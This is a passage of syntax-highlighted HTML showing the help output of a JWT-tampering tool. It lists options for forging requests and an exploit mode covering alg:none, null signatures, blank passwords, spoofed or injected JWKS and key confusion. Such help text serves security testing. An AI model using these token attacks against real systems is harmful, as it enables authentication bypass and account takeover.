style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pk PUBKEY</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">jw JWKSFILE</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">Q QUERY</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">v</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">jwt</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
positional arguments</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span>jwt<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>the JWT to tinker with </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">no need to specify </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">if</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> in header</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">cookies</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
</span><span lang="EN-US" style="color:#F57900;font-family:Consolas;font-size:9.5pt;">options:</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">h</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">help<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>show </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">this</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> help message and exit<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">b</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">bare<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">return</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> TOKENS ONLY<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">t TARGETURL</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">targeturl TARGETURL<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>URL to send HTTP request to with </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">new</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> JWT<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">rc COOKIES</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">cookies COOKIES<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>request cookies to send with the forged HTTP request<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">rh HEADERS</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">headers HEADERS<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>request headers to send with the forged HTTP request </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">can be used multiple times </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">for</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> additional headers</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pd POSTDATA</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">postdata POSTDATA<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>text string that contains all the data to be sent in a POST request<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">cv CANARYVALUE</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">canaryvalue CANARYVALUE<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>text string that appears in response </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">for</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> valid token </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">e</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">g</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"Welcome, ticarpi"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">np</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">noproxy<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>disable proxy </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">for</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> current request </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">change in jwtconf</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">ini</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">if</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> permanent</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">nr</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">noredir<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>disable redirects </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">for</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> current request </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">change in jwtconf</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">ini</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">if</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> permanent</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">M MODE</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">mode MODE<span>&nbsp; </span>Scanning mode</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>pb </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> playbook audit<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>er </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> fuzz existing claims to force errors<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>cc </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> fuzz common claims<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>at </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> All Tests</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">!</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">X EXPLOIT</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">exploit EXPLOIT<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>eXploit known vulnerabilities</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>a </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> alg</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">none<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>n </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">null</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> signature<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>b </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> blank password accepted in signature<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>s </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> spoof JWKS </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">specify JWKS URL with </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">ju</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> or set in jwtconf</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">ini</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> to automate </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">this</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> attack</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>k </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> key confusion </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">specify </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">public</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> key with </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pk</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>i </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> inject inline JWKS<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">ju JWKSURL</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">jwksurl JWKSURL<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>URL location where you can host a spoofed JWKS<br />
<span>&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">S SIGN</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">sign SIGN<span>&nbsp; </span>sign the resulting token</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>hs256</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">hs384</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">hs512 </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> HMAC</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">SHA signing </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">specify a secret with </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">k</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">p</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>rs256</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">rs384</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">hs512 </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> RSA signing </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">specify an RSA </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">private</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> key with </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pr</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>es256</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">es384</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">es512 </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Elliptic Curve signing </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">specify an EC </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">private</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> key with </span><b><span lang="EN-US" 